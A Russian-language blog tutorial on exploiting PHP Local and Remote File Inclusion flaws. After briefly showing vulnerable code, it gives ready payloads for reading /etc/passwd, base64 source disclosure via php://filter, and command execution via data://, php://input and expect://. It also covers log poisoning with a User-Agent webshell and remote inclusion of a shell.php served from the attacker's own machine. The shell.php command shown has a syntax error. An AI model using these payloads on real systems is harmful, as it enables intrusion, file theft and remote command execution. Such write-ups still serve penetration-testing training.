LFI и RFI

LFI и RFI

Sidney Job


Всем привет, на связи SidneyJob, в этой статье я хотел бы показать различные способы эксплуатации уязвимости LFI и RFI.


Поехали!

Давайте разберемся сначала, что это за уязвимости, почему появляются, и чем опасны эти уязвимости. Уязвимость LFI позволяет включать локальный код, замечу, что именно включать, а не просто читать. А RFI, соотвественно, позволяет включить удаленные файлы, что гораздо опаснее!

Примеры кода как писать не нужно:

PHP:

if (isset($_GET['language'])) {
    include($_GET['language']);
}


Javascript:

if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

Данный выше код никак не фильтрует пользовательские данные, что позволяет нам включить любой файл.

Никогда не доверяйте пользовательскому вводу, обязательно фильтруйте его!

Вот вам скриншот в памятку, чтобы знать, что нам позволяют делать разные функции)


Итак перейдем к практике!

LFI


Начнем с простого.

<?php
if (isset($_GET['language'])) {
    include($_GET['language']);
}
?>


Отправим GET запрос с параметром language, в котором содержится абсолютный путь до любого файла, например /etc/passwd. На снимке ниже мы видим, что на наш экран вывелось содержимое файла /etc/passwd.


Но давайте попробуем поискать другие файлы и включить их. Для примера я создал еще 1 файл с расширением .php, в который я поместил следующее содержимое:

<?php
echo "Resolute Attack is the best company!";
?>


На скриншоте выше вы могли уже заметить, что нам не выдало исходный код, а лишь результат его работы, но иногда нам важно получить исходный код, а не результат отработки php скрипта, для этого мы можем использовать следующий прием.

php://filter/read=convert.base64-encode/resource=test.php

Теперь мы получили вывод исходного кода страницы в кодировке base64. Осталось дело за малым, раздекодить данную строчку и получить исходный код.

На скриншоте снизу, показано, что в base64 нам дан не результат отработки, а именно исходный код, который, возможно, поможет нам найти новые уязвимости.


Давайте рассмотрим пример чуть-чуть посложнее. Теперь к нашему параметру добавляется строчка ./languages/. В этом случае нам понадобится Path Traversal.

<?php 
if (isset($_GET['language'])) {
 include("./languages/" . $_GET['language']);
}
?>

Данная защита тоже довольно легко обходится. Поэтому не буду томить, и перейдем к следующему примеру!

Итак, на рассмотрении пример с следующей ситуацией. Из параметра GET берется язык, добавляется расширении .php и уже после этого включается.                                

<?php 
if (isset($_GET['language'])) {
  include($_GET['language'] . ".php");
}
?>

Тут дела обстоят хуже, мы не можем включать другие файла, кроме файлов с расширение .php. Поэтому нас остается только читать конфиги и искать в них жестко закодированные данные. Или загрузить вебшел и исполнить его.

Думаю вы уже заждались.... Переходим к RCE!

Data

Итак, для начала нам нужно проверить настройки php. Они находятся по пути /etc/php/NUM.NUM/apache2/php.ini. Вресию php нужно будет перебрать самостоятельно. После того, как смогли получить этот файл в формате base64, раздекодим его и ищем сточку, показанную ниже.

allow_url_include = on

Далее делаем полезную нагрузку.

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

Ура! Мы можем исполнять команды на сервере. Теперь у нас есть первый способ получить RCE! Идем дальше!


Input

Рассмотрим немного другой способ эксплуатации этого параметра. В данном случае мы будем отправлять запросы через параметр POST:

php://input&cmd=id


Ура! Еще 1 способ получить RCE. Двигаемся дальше!


Expect

Если в конфике php.ini есть строчка extension=expect, то можете начинать радоваься.

?language=expect://id


Перед тем как мы приступим к RFI, мне хотелось бы рассказать вам довольно интересную тему)

Server Log Poisoning

Суть данной атаки в том, что мы сначала отравляем логи, а после уже включаем их с помощью LFI, тем самым исполняя команды на сервере.

Итак, для начала укажем в User-Agent что-нибудь безобидное, чтобы проверить, заражаются ли логи или нет.

Как мы можем заметить на скрине ниже, мы успешно заразили логи, и теперь в них есть надпись "Resolute Attack is the best company!"


Перейдем к применению этой техники для получения RCE. Заразим User-Agent следующим содержимым: "<?php system($_REQUEST['cmd']); ?>"


На скрине ниже показан вывод нашей команды. У нас есть веб-шел, теперь можем перейти к следующему этапу!

Итак, думаю, с LFI более менее разобрались, теперь давайте перейдем к RFI.

RFI

Если веб приложение уязвимо к RFI, то оно будет уязвимо и к LFI. НО! Если сайт уязвим к LFI, то не всегда он будет уязвим к RFI. Итак, приступим. Для эксплуатации уязвимости RFI, нам нужно, чтобы в конфиге php.ini была включена функция "allow_url_include = on".

Итак, настало время практики!

Для начала на нашем машине создадим файл shell.php и запустим HTTP сервер.

echo "<?php system($_GET['cmd']; ?>" > shell.php && python3 -m http.server 80

Попробуем включить наш файл и ... вуаля! Он успешно включился в нашем сайте и выдал ошибку, потому что мы запустили его без параметров. Попробуем еще раз. Только на этот раз уже укажем нужную нам команду.



Наша команда успешно выполнилась, теперь у нас есть RCE.

Примечание: /index.php?language=http://10.10.14.30/shell.php&cmd=id Вместо "?" знака перед cmd ставьте "&", иначе команда не исполнится!

С любовью, ваши SidneyJob и RESOLUTE ATTACK.



Report Page